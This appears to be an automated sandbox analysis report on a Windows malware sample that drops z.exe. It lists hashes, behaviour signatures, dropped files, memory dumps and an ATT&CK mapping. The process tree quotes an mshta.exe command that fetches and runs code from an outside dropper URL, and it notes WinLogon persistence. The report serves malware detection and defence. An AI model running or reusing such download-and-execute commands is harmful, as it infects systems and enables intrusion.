Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-02-2024 14:58

General

  • Target

    a97294359020ade8b49e7189457a9fd8.exe

  • Size

    765KB

  • MD5

    a97294359020ade8b49e7189457a9fd8

  • SHA1

    2e526abe4e64563e723c557a01106ea40559ffa3

  • SHA256

    6d3239a0892bcb94b2a62d172790e5d433f4d6b32b8ecf8c9e963ea4e4a6f271

  • SHA512

    0675699c1d1975ebea92c9d2468ccb6f4a6d5c5495cb89dd4c9811dbcb728530f0f0fef3447a6b153c397b9f519df22bc346bd872a0c4efb336ce1e0d6562e75

  • SSDEEP

    12288:fSJsWPOGw+qKxNaLIym/P3BANlm2sjynU4q18ympGVZH6Uv/3xqkri/lUy7PU83F:fSrxELIyS3BAN82s0UnjgwBqLNUiM83U

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://rerererererere.com/inst.php?id=forbidden

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 17 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a97294359020ade8b49e7189457a9fd8.exe
    "C:\Users\Admin\AppData\Local\Temp\a97294359020ade8b49e7189457a9fd8.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4824
    • C:\Users\Admin\AppData\Roaming\z.exe
      "C:\Users\Admin\AppData\Roaming\z.exe" forbidden
      2⤵
      • Modifies WinLogon for persistence
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1796
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\System32\mshta.exe" http://rerererererere.com/inst.php?id=forbidden
        3⤵
          PID:1348
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\dgfdgsdf.bat" "
          3⤵
            PID:4544

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Persistence

      Boot or Logon Autostart Execution

      1
      T1547

      Winlogon Helper DLL

      1
      T1547.004

      Privilege Escalation

      Boot or Logon Autostart Execution

      1
      T1547

      Winlogon Helper DLL

      1
      T1547.004

      Defense Evasion

      Modify Registry

      1
      T1112

      Discovery

      Query Registry

      1
      T1012

      System Information Discovery

      2
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Roaming\dgfdgsdf.bat
        Filesize

        167B

        MD5

        e5a2cf708be039ebe72233673c1f2ac7

        SHA1

        cca4b5f8c08e07779f4eddd7e3c960d7f68078f8

        SHA256

        1f67a80290e77b7ec48c8b676bcc076ff5b271e2caf17352b1880d65a956e43c

        SHA512

        0d47a1ccf419c4cb8fc1a25b35470ba3b51e49a6045fe1efcd533ebbe9d69a92a1a7b60f2666e1419613c0bd45ffd128623adb11c313c1b3749727f5a4a9f645

      • C:\Users\Admin\AppData\Roaming\z.exe
        Filesize

        531KB

        MD5

        16324fc81aea75ee1b90fbe20eb91c00

        SHA1

        d6cf3bd8d5febb790e1ff8dd39b378229e73462f

        SHA256

        0f948ceb06d973c6276ffc742b18c638dc301576997dbb20b5802df6cb35a8d3

        SHA512

        d5974f326b4d61743ee3f64e7de79fa105e03ce640555aeae823d2270ec915b795b8308f9291ee718dbdf0213e0eec425b7b97159b0c9c5c0131dcb204d501a6

      • memory/1796-29-0x0000000000400000-0x00000000007F6000-memory.dmp
        Filesize

        4.0MB

      • memory/1796-30-0x0000000000400000-0x00000000007F6000-memory.dmp
        Filesize

        4.0MB

      • memory/1796-40-0x0000000000400000-0x00000000007F6000-memory.dmp
        Filesize

        4.0MB

      • memory/1796-18-0x00000000009D0000-0x00000000009D1000-memory.dmp
        Filesize

        4KB

      • memory/1796-38-0x0000000000400000-0x00000000007F6000-memory.dmp
        Filesize

        4.0MB

      • memory/1796-26-0x0000000000400000-0x00000000007F6000-memory.dmp
        Filesize

        4.0MB

      • memory/1796-27-0x0000000000400000-0x00000000007F6000-memory.dmp
        Filesize

        4.0MB

      • memory/1796-28-0x00000000009D0000-0x00000000009D1000-memory.dmp
        Filesize

        4KB

      • memory/1796-37-0x0000000000400000-0x00000000007F6000-memory.dmp
        Filesize

        4.0MB

      • memory/1796-17-0x0000000000400000-0x00000000007F6000-memory.dmp
        Filesize

        4.0MB

      • memory/1796-31-0x0000000000400000-0x00000000007F6000-memory.dmp
        Filesize

        4.0MB

      • memory/1796-32-0x0000000000400000-0x00000000007F6000-memory.dmp
        Filesize

        4.0MB

      • memory/1796-33-0x0000000000400000-0x00000000007F6000-memory.dmp
        Filesize

        4.0MB

      • memory/1796-34-0x0000000000400000-0x00000000007F6000-memory.dmp
        Filesize

        4.0MB

      • memory/1796-35-0x0000000000400000-0x00000000007F6000-memory.dmp
        Filesize

        4.0MB

      • memory/1796-36-0x0000000000400000-0x00000000007F6000-memory.dmp
        Filesize

        4.0MB

      • memory/4824-0-0x0000000000400000-0x000000000051B000-memory.dmp
        Filesize

        1.1MB

      • memory/4824-1-0x00000000022C0000-0x00000000022C1000-memory.dmp
        Filesize

        4KB

      • memory/4824-16-0x0000000000400000-0x000000000051B000-memory.dmp
        Filesize

        1.1MB